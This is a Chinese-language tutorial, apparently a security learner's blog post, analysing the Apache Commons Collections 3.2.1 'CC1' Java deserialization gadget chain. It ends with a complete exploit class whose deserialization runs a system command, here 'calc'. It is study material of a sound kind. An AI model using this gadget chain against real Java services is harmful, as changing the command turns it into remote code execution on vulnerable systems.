1.前言
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。
2.环境
jdk-8u65
Commons Collections3.2.1
3.分析
3.1基础链子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Cc1 {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null,new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
}
}
3.2分析几个重要的接口和类
Transformer接口
public interface Transformer {
Object transform(Object var1);
}
这个接口其实就是一个转换器,完成不同的数据类型转换
ConstantTransformer类
public class ConstantTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。
InvokerTransformer类
该类也实现了Transformer接口
看其构造器
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组
该类的transform方法可以执行任意方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。
ChainedTransformer类
ChainedTransformer implements Transformer, Serializable {
/** Serial version UID */
private static final long serialVersionUID = 3514945074733160196L;
/** The transformers to call in turn */
private final Transformer[] iTransformers;
/**
* Factory method that performs validation and copies the parameter array.
*
* @param transformers the transformers to chain, copied, no nulls
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if the transformers array is null
* @throws IllegalArgumentException if any transformer in the array is null
*/
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
该类也实现了Transformer接口
看其构造器
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
iTransformers为其传入的参数,是一个接口类型的数组
看其transform方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数
3.3过程分析
hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)
最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。
new ConstantTransformer(Runtime.class)
第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class
new InvokerTransformer("getMethod",
new Class[]
{String.class, Class[].class},
new Object[]
{"getRuntime", new Class[0]}
)
第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组
new InvokerTransformer("invoke",
new Class[]
{Object.class, Object[].class},
new Object[]
{null,new Object[0]}
)
第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}
第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc
chain.transform(123);
传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行
仔细分析chain.transform方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
遍历传入所有类的transform方法
Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对 Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
4.找利用链
4.1 TransformedMap
已知
InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化
主要是其中三个Map类
先看TransformedMap
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
两个方法都调用了transform方法,这里利用checkSetValue()
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。
keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
巧的是decorate调用了构造函数
然后找哪里调用了TransformedMap类的checkSetValue方法
发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类
public class TransformedMap
extends AbstractInputCheckedMapDecorator
AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue
4.2简单例子
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Cc1 {
public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException{
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//先构造一个invoker
HashMap hashMap=new HashMap();
//用HashMap传入decorate
hashMap.put(1,1);
Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);
//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
Runtime cmd=Runtime.getRuntime();
for(Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(cmd);
}
//通过遍历Map,调用setValue触发checkSetValue
}
}
然后再找哪里调用了setValue方法
发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
String name = memberValue.getKey();
AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类
看构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类
如何反射获取AnnotationInvocationHandler 类,看下面代码
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);
4.3三个问题
1.Runtime类不可以序列化
2.执行setValue需要满足两个条件
3.setValue的值如何控制
问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
问题2.两个if条件
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
memberType 不为空,注解类传入target就不会空
问题3.利用ConstantTransformer传值解决
5.最终exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Cc1 {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
//chainedTransformer.transform(Runtime.class);
Map<Object, Object> hashMap = new HashMap<>();
//用HashMap传入decorate
hashMap.put("value", 1);
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(obj);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
// Runtime cmd=Runtime.getRuntime();
//for(Map.Entry entry:transformedMap.entrySet())
//{
// entry.setValue(cmd);
//}
//通过遍历Map,调用setValue触发checkSetValue
}
}